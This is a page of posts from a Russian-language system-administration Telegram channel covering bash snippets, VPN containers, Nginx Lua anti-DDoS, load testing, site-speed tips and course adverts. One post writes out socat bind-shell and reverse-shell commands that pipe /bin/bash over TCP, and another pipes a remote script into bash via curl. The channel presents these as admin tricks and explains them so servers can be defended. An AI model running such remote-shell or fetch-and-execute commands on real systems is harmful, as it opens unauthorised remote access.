Обложка канала

ServerAdmin.ru. Страница 5

12437 @srv_admin

Авторская информация о системном администрировании.

  • ServerAdmin.ru

    ​​Смотрите, какая интересная коллекция приёмов на bash для выполнения различных обработок строк, массивов, файлов и т.д.: pure bash biblehttps://github.com/dylanaraps/pure-bash-bible Вообще не видел раньше, чтобы кто-то подобным заморачивался. Тут смысл в том, что все преобразования производятся на чистом bash, без каких-то внешних утилит, типа sed, awk, grep или языка программирования perl. То есть нет никаких внешних зависимостей. Покажу на паре примеров, как этой библиотекой пользоваться. Там всё реализовано через функции bash. Возьмём что-то простое. Например, перевод текста в нижний регистр. Видим в библиотеке функцию: lower() { printf '%s\n' "${1,,}" } Чтобы её использовать в скрипте, необходимо его создать примерно такого содержания: #!/bin/bash lower() {   printf '%s\n' "${1,,}" } lower "$1" Использовать следующим образом: # ./lower.sh HELLO hello Примерно таким образом можно работать с этой коллекцией. Возьмём более сложный и прикладной пример. Вычленим из полного пути файла только его имя. Мне такое в скриптах очень часто приходится делать. #!/bin/bash basename() {   local tmp   tmp=${1%"${1##*[!/]}"}   tmp=${tmp##*/}   tmp=${tmp%"${2/"$tmp"}"}   printf '%s\n' "${tmp:-/}" } Используем для примера: # ./basename.sh /var/log/syslog.2.gz syslog.2.gz Понятное дело, что пример синтетический, для демонстрации работы. Вам скорее всего понадобится вычленять имя файла в большом скрипте для дальнейшего использования, а не выводить его имя в консоль. Более того, чаще всего в большинстве дистрибутивов Unix будут отдельные утилиты basename и dirname для вычленения имени файла или пути директории, в котором лежит файл. Но это будут внешние зависимости к отдельным бинарникам, а не код на bash. Этот репозиторий настоящая находка для меня. Мало того, что тут в принципе очень много всего полезного. Так ещё и реализация на чистом bash. Плохо только то, что я тут практически не понимаю, что происходит и как реализовано. С применением утилит мне проще разобраться. Так что тут только брать сразу всю функцию, без попытки изменить или написать свою. #bash #script
  • ServerAdmin.ru

    Небольшая справочная заметка, которую имеет смысл сохранить. Официальные списки IP адресов Google и Yandex. 📌 Google: txt - https://www.gstatic.com/ipranges/goog.txt json - https://www.gstatic.com/ipranges/goog.json 📌 Yandex: html - https://yandex.ru/ips У гугла чётко сделано, можно сразу готовый список брать и использовать. У яндекса только в html. Надо парсить либо вручную обновлять. Меняется редко. Когда настраиваете какие-то блокировки на веб сервере с публичным сайтом, заносите IP адреса поисковиков в отдельные списки и разрешайте доступ, чтобы ненароком не заблокировать поисковых ботов или какие-то другие службы, влияющие на ранжирование. Понятно, что тут всё подряд под этими IP, но лучше перебдеть, чем недобдеть, пытаясь вычленить только нужное. #webserver

    goog.json

    application/json
  • ServerAdmin.ru

    Как обеспечивается круглосуточное наблюдение за состоянием системы? Дежурство - тяжкая ноша и ужасный бич или необходимое зло? Как жить дальше, если ты SRE инженер? ☝️Узнайте на бесплатном вебинаре онлайн-курса «SRE практики и инструменты» OTUS. Тема: «Практика on-call и жизненный цикл SRE команды»: https://otus.pw/axdl/ На встрече также разберем: — Как правильно и комфортно организовать дежурства — Жизненный цикл для команды SRE — Практику On-Call и многое другое! Вебинар будет полезен разработчикам, системным и инфраструктурным инженерам, техническим директорам, руководителям и тимлидам. 👉Пройдите вступительный тест для участия: https://otus.pw/axdl/ #Реклама. Информация о рекламодателе на сайте www.otus.ru
  • Реклама

  • ServerAdmin.ru

    ​​Веб сервер Nginx поддерживает интеграцию с языком программирования Lua. Реализуется это с помощью специального модуля для Nginx. В стандартных пакетах с nginx чаще всего нет этого модуля. В Debian и Ubuntu его можно поставить с помощью пакета nginx-extras: # apt install nginx-extras Также существует веб сервер на основе Nginx и Lua — OpenResty . Он полностью совместим с Nginx и следует за его релизами. Отличает его только наличие дополнительных модулей для работы с Lua. Чаще всего в Nginx Lua используют для борьбы с ddos атаками. Вот навороченный пример готового скрипта на lua для этого — Nginx-Lua-Anti-DDoS. Я его попробовал, работает нормально. И очень удобно. У него куча возможностей по блокировке тех или иных клиентов. С базовыми настройками он блокирует некоторых ботов, подсети некоторых хостеров и осуществляет защиту от ботов с помощью страницы заглушки на javascript (пример на картинке), которая добавляет зашифрованную куку. Потом редиректит на основную страницу и проверяет эту куку. Не буду расписывать установку и настройку этого скрипта. Всё необходимое есть в репозитории. Я немного повозился, но всё настроил. Если вас донимают какие-то боты, попробуйте, должно помочь. Скрипт позволяет в одном месте работать со всеми ограничениями и настройками, что удобно. Если не нужен, можно очень быстро его отключить. Все настройки прокомментированы в самом скрипте. По теме nginx и lua очень много всего гуглится, если искать по словам nginx lua antiddos. Вот ещё пару примеров: ⇨ LUA в nginx: слегка интеллектуальный firewall ⇨ Защита от DDoS на уровне веб-сервера Кстати, CloudFlare как раз и осуществляет свою защиту на базе Lua с помощью веб сервера OpenResty. Или осуществлял. Сейчас может уже на что-то другое перешли. Так что если работаете с веб серверами и не используете Lua, обратите на него внимание. Очень многие вещи с его помощью делать удобно. #nginx #webserver
  • ServerAdmin.ru

    ​​Вчера рассказал про контейнер с openvpn, который позволяет в пару секунд запустить сервер с openvpn и готовым конфигом для клиента. В комментариях подсказали похожее решение для Wireguard. Для Wireguard существует очень много готовых панелей для запуска и управления сервером, но предложенное прям совсем простое и автоматизированное. Это Docker контейнер от известного сообщества linuxserver.io, про которое я уже писал ранее. Их контейнеры отличает регулярное обновление, хорошая кастомизация через переменные, да и в целом качество. Они имеют статус Sponsored OSS и финансируются самим Докером. Речь идёт о контейнере linuxserver/wireguard. Более подробное описание можно посмотреть на github. Готовый образ с помощью docker-compose или docker cli запускает Wireguard сервер с заданным набором клиентов и параметров. Выглядит это примерно вот так: docker run -d \  --name=wireguard \  --cap-add=NET_ADMIN \  --cap-add=SYS_MODULE `#optional` \  -e PUID=1000 \  -e PGID=1000 \  -e TZ=Etc/UTC \  -e SERVERURL=wireguard.domain.com `#optional` \  -e SERVERPORT=51820 `#optional` \  -e PEERS=1 `#optional` \  -e PEERDNS=auto `#optional` \  -e INTERNAL_SUBNET=10.13.13.0 `#optional` \  -e ALLOWEDIPS=0.0.0.0/0 `#optional` \  -e PERSISTENTKEEPALIVE_PEERS= `#optional` \  -e LOG_CONFS=true `#optional` \  -p 51820:51820/udp \  -v /path/to/appdata/config:/config \  -v /lib/modules:/lib/modules `#optional` \  --sysctl="net.ipv4.conf.all.src_valid_mark=1" \  --restart unless-stopped \  lscr.io/linuxserver/wireguard:latest Число клиентов задаётся переменной PEERS и может быть указано как просто число, так и перечислено в виде списка названий через запятую, примерно так: myPC,myPhone,myTablet. Если не указать доменное имя SERVERURL, то контейнер вместо него определит внешний IP хоста и будет использовать его. Остальные параметры понятны по названию и комментарию. Конфиги для подключения клиентов будут представлены в виде QR кодов в логе Docker, также сложены в замапленную директорию /config. Этот контейнер супер популярен, как и в целом контейнеры от linuxserver.io. У него 50M+ загрузок. Можно использовать как для временных подключений, так и для постоянных. В основном для личного использования. Если не только для личного, я бы лучше рассматривал какие-то веб панели, например Subspace, Firezone или WireGuard Easy. Последний наиболее популярен. #wireguard
  • ServerAdmin.ru

    Хотите прокачать свой скиллсет системного администратора Windows? Присоединяйтесь к онлайн-курсу «Администратор Windows» в OTUS и приготовьтесь к достижению нового уровня! 💻Программа разработана специально для системных администраторов, которые стремятся расширить свои знания в области управления и обслуживания среды Windows. 5 месяцев вы будете углубленно изучать операционную систему Windows, научитесь эффективно разворачивать и настраивать серверы, а также освоите управление активным каталогом, групповыми политиками и облачными службами. На курсе вас ждут живые вебинары и практические задания, где вы сможете применить полученные знания на реальных сценариях.  ➡️ Изучайте программу и бронируйте место по специальной цене: https://otus.pw/wfL0/ 🎫Приобрести курс можно в рассрочку. #Реклама. Информация о рекламодателе на сайте www.otus.ru
  • ServerAdmin.ru

    ​​Смотрите, какой любопытный проект у нас появился: ⇨ https://repka-pi.ru Аналог Raspberry Pi. Выполнен в полностью идентичном форм-факторе, включая габаритные размеры, размеры и расположение основных интерфейсов, места и размеры отверстий для крепления. Разработка в России. Это не переклеивание шильдиков. Компонентная база китайская, по маркировке всё видно, схемотехника и трассировка российские. Продукт коммерческой компании, без бюджетных денег. Подробное описание разработки лучше почитать от создателей. Одноплатники в свободной продаже. Заказать можно как на сайте проекта, так и на ozon. ❗️Существенный минус - образы ОС от Raspberry Pi не подходят из-за разных схем питания. У репки свой образ Repka OS на базе Ubuntu. Также поддерживается работа ALT Linux. Узнал про эти компы вчера вечером. Заинтересовался, почитал информацию, поделился с вами. В сети уже много информации и инструкций по этим одноплатникам. Странно, что я ни разу про них не слышал. Даже свой шаблон под Zabbix есть для мониторинга частоты и температуры процессора. Мне прям всё понравилось. Цена конкурентная, сайт, описание, упаковка чёткие. Отзывы хорошие, в том числе на качество компонентов, сборки и пайки. Да и в целом хорошо, что подобные компании и продукты есть в России. Это позволяет нарабатывать компетенции, создавать высококвалифицированные рабочие места. Жаль, что мне одноплатники никогда не были нужны, так бы купил. Цена платы - 7400, сразу с корпусом - 9700. Ждать доставки из Китая не надо. Озон за несколько дней привезёт в любой пункт выдачи. p.s. Узнал о репке из рекламы в ВК. А кто-то думает, что реклама не работает. Сработала очень даже хорошо для заказчиков. #железо #наше
  • ServerAdmin.ru

    На прошлой неделе я рассказывал про некоторые возможности утилиты socat. Сегодня хочу продолжить и показать ещё несколько вариантов использования. Например, вы можете открыть прямой доступ к shell через socat. Данный метод обычно используют злоумышленники, чтобы получить несанкционированный удалённый доступ к shell. Запускаем на сервере: # socat -d -d TCP4-LISTEN:222,reuseaddr,fork EXEC:/bin/bash Подключаемся на клиенте к серверу: # socat - TCP4:172.23.92.42:222 Теперь вы можете с клиента через ввод в консоли отправлять команды напрямую в оболочку bash на сервере. Аналогично выполняется так называемый обратный shell. Это когда вы на клиенте запускаете socat в режиме прослушивания: # socat -d -d TCP4-LISTEN:222 STDOUT А на сервере подключаетесь к клиенту: # socat TCP4:172.23.88.95:4443 EXEC:/bin/bash Теперь всё, что вводится с консоли клиента, исполняется на сервере в bash. Подобная схема актуальна, когда на сервере входящие подключения не разрешены, а исходящие открыты. Подобный метод наглядно показывает, что и исходящие подключения на сервере нужно контролировать и ограничивать. Скажу честно, я редко это делаю, так как это хлопотное дело и не всегда оправдано с точки зрения затраченных усилий и результата. Если у вас заблокирован входящий порт SSH, можете временно запустить socat и перенаправить все запросы с открытого порта на локальный порт 22: # socat TCP4-LISTEN:222,reuseaddr,fork TCP4:172.23.92.42:22 Подключаемся клиентом: # ssh -p 222 [email protected] Попадаем на SSH сервер. Подобное решение быстрее и удобнее, чем настройка переадресации в iptables или изменение порта в ssh сервере. Для разовых подключений это самый простой и быстрый вариант, который не требует никаких дополнительных настроек. Подобные вещи полезно знать не только чтобы использовать самому, но и для того, чтобы защищать свои сервера от похожих трюков. #linux #terminal
  • ServerAdmin.ru

    ⚡️ Открытый тест онлайн-курса — «DevOps практики и инструменты» на знание основ DevOps. ✅ Тест состоит из 25 вопросов по основам DevOps и подготовлен специально для системных администраторов, разработчиков и тестировщиков на котором Вы сможете проверить себя! Результат теста получите сразу. ➡️ Пройти тест — https://otus.pw/WbUb/ ❗️Хотите разобраться, как устроена современная инфраструктура в 2023 году, и получить возможность протестировать обучение на открытых вебинарах онлайн-курса «DevOps практики и инструменты» в OTUS? Регистрируйтесь по ссылке и смотрите открытые вебинары: https://otus.pw/fD3J/ #Реклама. Информация о рекламодателе на сайте www.otus.ru
  • ServerAdmin.ru

    ​​Любопытный проект для поднятия VPN сервера на базе OpenVPN в пару кликов — dockovpn. Собран на базе Docker, не хранит ни логов, ни своего состояния. То есть запустили, получили конфиг пользователя, попользовались, остановили контейнер, всё удалилось. При желании, конфиги можно сделать постоянными. Запускаете вот так: # docker run -it --rm --cap-add=NET_ADMIN \ -p 1194:1194/udp -p 80:8080/tcp \ -e HOST_ADDR=$(curl -s https://api.ipify.org) \ --name dockovpn alekslitvinenk/openvpn Если 80-й порт на хосте занят, выберите любой другой. Он нужен для того, чтобы после запуска контейнера на нём поднялся web сервер. Обратившись по его адресу, вы скачиваете конфиг клиента и после этого веб сервер завершает свою работу. Далее отдаёте этот конфиг любому клиенту OpenVPN и подключаетесь. На сервере должен быть белый IP адрес. Dockovpn использует его для работы openvpn. Если не хотите, чтобы после остановки контейнера удалялся клиентский конфиг, запустите его с volume, где будут храниться конфигурации: # docker run -it --rm --cap-add=NET_ADMIN \ -p 1194:1194/udp -p 80:8080/tcp \ -e HOST_ADDR=$(curl -s https://api.ipify.org) \ -v openvpn_conf:/opt/Dockovpn_data \ --name dockovpn alekslitvinenk/openvpn Я посмотрел исходники проекта. Там нет ничего особенного. Обычная настройка openvpn сервера, правил iptables и генерация сертификатов с помощью easy-rsa. В репозитории есть Dockerfile и все скрипты с конфигами. Можете собрать контейнер сами, если не доверяете готовому: # git clone https://github.com/dockovpn/dockovpn # cd dockovpn # # docker build -t dockovpn . Идеальный инструмент для запуска в виртуалках с почасовой оплатой. Не задаёт никаких вопросов. Запустили, попользовались, погасили. Хотя для личного пользования можно и на постоянку оставить, если не хочется заморачиваться с установкой и настройкой. Там вполне адекватный конфиг, можно посмотреть в директории dockovpn/config. Используются DNS сервера OpenDNS. Можно их заменить на какие-то свои, если есть необходимость. ⇨ Исходники #openvpn
  • ServerAdmin.ru

    ​​Пару лет назад я писал про новую программу Zellij, которая позиционировала себя как консольный мультиплексор для разработчиков. В то время она была в бете и ей откровенно не хватало некоторой функциональности, чтобы её можно было поставить вместо screen или tmux. И вот по прошествии двух лет в ней есть всё, что в перечисленных выше программах, при этом она удобнее и функциональнее. Я рекомендую вам попробовать и оценить. Мне лично больше всего понравилось то, что все горячие клавиши сразу же перед глазами и их не надо вспоминать. С помощью alt и ctrl доступны все необходимые комбинации для быстрой навигации и некоторых функций. При этом ты не вспоминаешь наборы команд, как в screen, и не путаешь их, потому что всё перед глазами. Расписывать особо не буду, так как это надо пробовать. Создайте вкладки, подвигайте их, поменяйте размер, расположение. Управление удобное и простое. Вся программа это один бинарник под Rust. Автор подготовил скрипт, который скачивает версию под вашу архитектуру и запускает во временной директории. Потом удаляет. То есть вариант чисто попробовать: # bash <(curl -L zellij.dev/launch) Для постоянной установки можно скачать бинарник из репозитория: https://github.com/zellij-org/zellij/releases Под многие системы есть готовые пакеты. Список на отдельной странице. Даже под Rosa и Freebsd есть энтузиасты, которые поддерживают пакеты, а для Debian или Ubuntu не нашлось, так что через пакетный менеджер не установить. Но мне кажется это дело времени, когда они там появятся. Программа реально удобная. Тем, у кого Linux основная рабочая машина, можно смело качать и пользоваться. Как только zellij появится в базовых репах Debian, заменю ею screen, которую я всегда ставлю на все сервера. Отдельно отмечу для тех, кто пользуется screen и mc. В zellij нет проблемы со сворачиванием mc, когда он запущен в sreen. Меня очень раздражает эта проблема. В zellij через ctrl+g блокируешь его горячие клавиши, так как он тоже может сворачиваться по ctrl+o и спокойно работаешь во вкладке с mc, сворачивая и разворачивая его. ⇨ Сайт / Исходники / Обзор #linux #terminal
  • ServerAdmin.ru

    В поисках надёжного корпоративного сетевого оборудования в условиях импортозамещения? Регистрируйтесь на вебинар «Импортозамещение сетевого оборудования на базе Qtech», который пройдёт 18 июля в 12:00. На вебинаре расскажем: 🔹 Об основных достижениях и направлениях развития компании Qtech; 🔹 Про сетевое оборудование Qtech: коммутаторы и маршрутизаторы; 🔹 Возможности, спецификации, ПО, гарантия, сервис сетевого оборудования Qtech; 🔹 Схемы применения сетевого оборудования Qtech; 🔹 Сравнение сетевого оборудования Qtech с иностранными аналогами. Регистрируйтесь на вебинар «Импортозамещение сетевого оборудования на базе Qtech» https://clck.ru/34rV2h #Реклама. Рекламодатель: ООО "Инфратех", ИНН 5024197250.
  • ServerAdmin.ru

    ​​У меня была серия публикаций про инструменты нагрузочного тестирования сайтов. Наиболее известные продукты из этой области я уже публиковал: ◽️Yandex.Tank ◽️ artillery.io ◽️ k6 ◽️ Locust ◽️ Taurus Все они представляют из себя скорее сервисы, для которых надо подготовить конфигурационный файл и сохранить куда-то результаты. А если хочется быстро и просто нагрузить какой-то ресурс в одну команду и оценить производительность, то можно воспользоваться Plow. Он представляет из себя одиночный бинарник на Go, который достаточно скачать и запустить. При этом есть и пакеты, и docker контейнер. За ходом нагрузки можно следить как в консоли, так и на веб странице, которую он запускает через свой встроенный веб сервер. У Plow не так много параметров. Основные это длительность теста (-d) или количество запросов (-n), интенсивность запросов или rps (--rate) и количество открытых соединений (-c). Тест будет выглядеть примерно вот так: # plow https://github.com -n 50 -c 2 --rate 10 Вы получите минимум информации. По сути, только самое основное — время ответа веб сервера по заданному урлу в различных вариациях. В том числе с разбивкой по персентилю. А также коды ответов веб сервера и ошибки, если они будут. Они скорее всего будут, если попробуете нагрузить какой-то сторонний, а не свой, веб ресурс. Сейчас почти у всех стоит защита от ддос, так что вас быстро забанят по ip. Plow умеет выводить результаты в виде json файла, так что его можно использовать для мониторинга отклика какого-то ресурса: # plow https://github.com -n 50 -c 2 --rate 10 --json --summary Такой вывод, отправив в Zabbix, можно очень просто через jsonpath распарсить и забрать, к примеру, 95-й персентиль для мониторинга и наблюдать за ним. Это будет более информативная метрика, нежели стандартные веб проверки. В них нельзя задать интенсивность запросов. А проверки одиночным запросом зачастую неинформативны, так как проседать отклик чаще всего начинает под нагрузкой. ⇨ Исходники #нагрузочное_тестирование
  • ServerAdmin.ru

    🔝Традиционный топ постов за прошедший месяц. В этот раз, как обычно, больше всего просмотров у мемасика, а обсуждений — у новостей. В топе все 3 заметки — новости. Пересылок и сохранений — у линуксовых программ и консольных инструментов.  📌 Больше всего просмотров: ◽️Мемчик с девопсом (8543) ◽️Новость об изменении публикации исходников RHEL (8325) ◽️Анализ использования памяти с помощью pmap (7909) 📌 Больше всего комментариев: ◽️Использование сборок Windows (308) ◽️Статья про вымирание профессии сисадмин (122) ◽️Новости о блокировке OpenVPN (101) 📌 Больше всего пересылок: ◽️Система видеонаблюдения Insentry (756) ◽️Примеры использования lsof (611) ◽️Профилирование нагрузки в Linux (382) 📌 Больше всего реакций: ◽️Примеры использования lsof (207) ◽️Система видеонаблюдения Insentry (174) ◽️Моя схема бэкапа сайта (167) ◽️История директорий /bin, /sbin, /usr/bin и т.д. в Unix (134) #топ
  • ServerAdmin.ru

    Делюсь с вами бородатым баяном, которому фиг знает сколько лет. Возможно больше, чем некоторым подписчикам. Это пародия на техподдержку пользователей под названием Техподдержка в средневековье. Сам я много раз видео этот ролик, но на канале его ни разу не было. Даже в комментариях не припоминаю, чтобы кто-то его вспоминал. В общем, смотрите. Юмор качественный, хотя кому-то может и непонятный. #юмор
  • Реклама

  • ServerAdmin.ru

    🚀 Освойте SRE-подход и сделайте свои сервисы эффективнее на онлайн-курсе «SRE практики и инструменты» в OTUS. 📚На курсе вы научитесь управлять надежностью, доступностью и эффективностью сервисов, улучшать наблюдаемость системы и реагировать на инциденты. Пройдите вступительный тест и узнайте, осилите ли вы уровень курса. 👉 ПРОЙТИ ТЕСТ НА САЙТЕ: https://otus.pw/hEqK/ Хотите протестировать обучение заранее и познакомиться с преподавателем? ✅Регистрируйтесь на бесплатные вебинары: — «Мониторинг распределенных систем»: https://otus.pw/cQv3/ — «Практика on-call и жизненный цикл SRE команды»: https://otus.pw/6cCz/ #Реклама. Информация о рекламодателе на сайте www.otus.ru
  • ServerAdmin.ru

    Небольшой совет по быстродействию сайтов и веб приложений, который очень простой, но если вы его не знаете, то можете потратить уйму времени на поиски причин медленного ответа веб сервера. Всегда проверяйте внешние ссылки на ресурсы и, по возможности, копируйте их к себе на веб сервер. Особенно много проблем может доставить какой-нибудь curl к внешнему ресурсу в самом коде. Это вообще бомба замедленного действия, которую потом очень трудно и неочевидно отлаживать. Если внешний ресурс начнёт отвечать с задержкой в 5-10 секунд, то при определённых обстоятельствах, у вас вся страница будет ждать это же время, прежде чем уедет к клиенту. В коде за такие штуки можно только бить по рукам программистов. А вот если это статика для сайта в виде шрифтов, js кода, стилей, то это можно исправить и самостоятельно. К примеру, я давно и успешно практикую загрузку javascript кода от Яндекс.Метрики локально со своего сервера. Для этого сделал простенький скрипт: #!/bin/bash curl -o /web/sites/serveradmin.ru/www/watch.js https://mc.yandex.ru/metrika/watch.js chown serveradmin.ru:nginx /web/sites/serveradmin.ru/www/watch.js Он работает по расписанию раз в день. В коде счётчика на сайте указан не внешний адрес mc.yandex.ru/metrika/watch.js к скрипту, а локальный serveradmin.ru/watch.js. Подобная конструкция у меня работает уже не один год и никаких проблем с работой статистики нет. При этом минус лишний запрос к внешнему источнику. Причём очень медленный запрос. То же самое делаю с внешними шрифтами и другими скриптами. Всё, что можно, копирую локально. А то, что не нужно, отключаю. К примеру, я видел сайт, где был подключен код от reCaptcha, но она не использовалась. В какой-то момент отключили, а код оставили. Он очень сильно замедляет загрузку страницы, так как там куча внешних запросов к сторонним серверам. Внешние запросы статики легко отследить с помощью типовых сервисов по проверке скорости загрузки сайта, типа webpagetest, gtmetrix, или обычной панели разработчика в браузере. Если это в коде используется, то всё намного сложнее. Надо либо код смотреть, либо как-то профилировать работу скриптов и смотреть, где там задержки. Я когда-то давно писал статью по поводу ускорения работы сайта. Там описана в том числе и эта проблема. Пробежал глазами по статье. Она не устарела. Всё, что там перечислено, актуально и по сей день. Если поддерживаете сайты, почитайте, будет полезно. Там такие вещи, на которые некоторые в принципе не обращают внимания, так как на работу в целом это никак не влияет. Только на скорость отдачи страниц. #webserver #perfomance
    Оптимизация скорости сайта, аудит сайта | serveradmin.ru

    На конкретном примере тестирую работу сайта, показываю инструменты для этого и выполняю оптимизацию скорости загрузки сайта.

    Server Admin
  • ServerAdmin.ru

    ​​Среди бесплатных анализаторов трафика (NTA — network traffic analysis) наиболее известные и функциональные (Elastiflow и Arkime) используют в качестве базы для хранения информации тяжёлый elasticsearch, к репозиторию которого ещё и доступ для РФ закрыт, что создаёт дополнительные трудности. Есть ещё один бесплатный аналог — Akvorado, который хранит данные в более легковесном хранилище clickhouse. 📌 Он умеет: ◽принимать данные через Netflow, IPFIX, sFlow; ◽насыщать данные по ip адресам geo информацией от сервиса MaxMind; ◽показывать статистику через веб интерфейс. Посмотреть, как всё это работает, можно в публичном demo. Поиграйтесь там с фильтрами, чтобы понять, какую информацию сможете получить. В принципе, она типовая, так как во всех подобных продуктах используются стандартные потоки, типа Netflow. Развернуть продукт у себя тоже никаких проблем, так как есть готовый docker-compose. Можно сразу оценить, что там под капотом. Автор — француз Vincent Bernat. По сути, это его личный проект, так что по идее, он не должен стать платным, как это происходит с подобными продуктами. Например, с Ntopng или с тем же Elastiflow. Последний вроде бы полностью бесплатным был, а сейчас уже с кучей ограничений. ⇨ Сайт / Исходники / Demo #gateway #netflow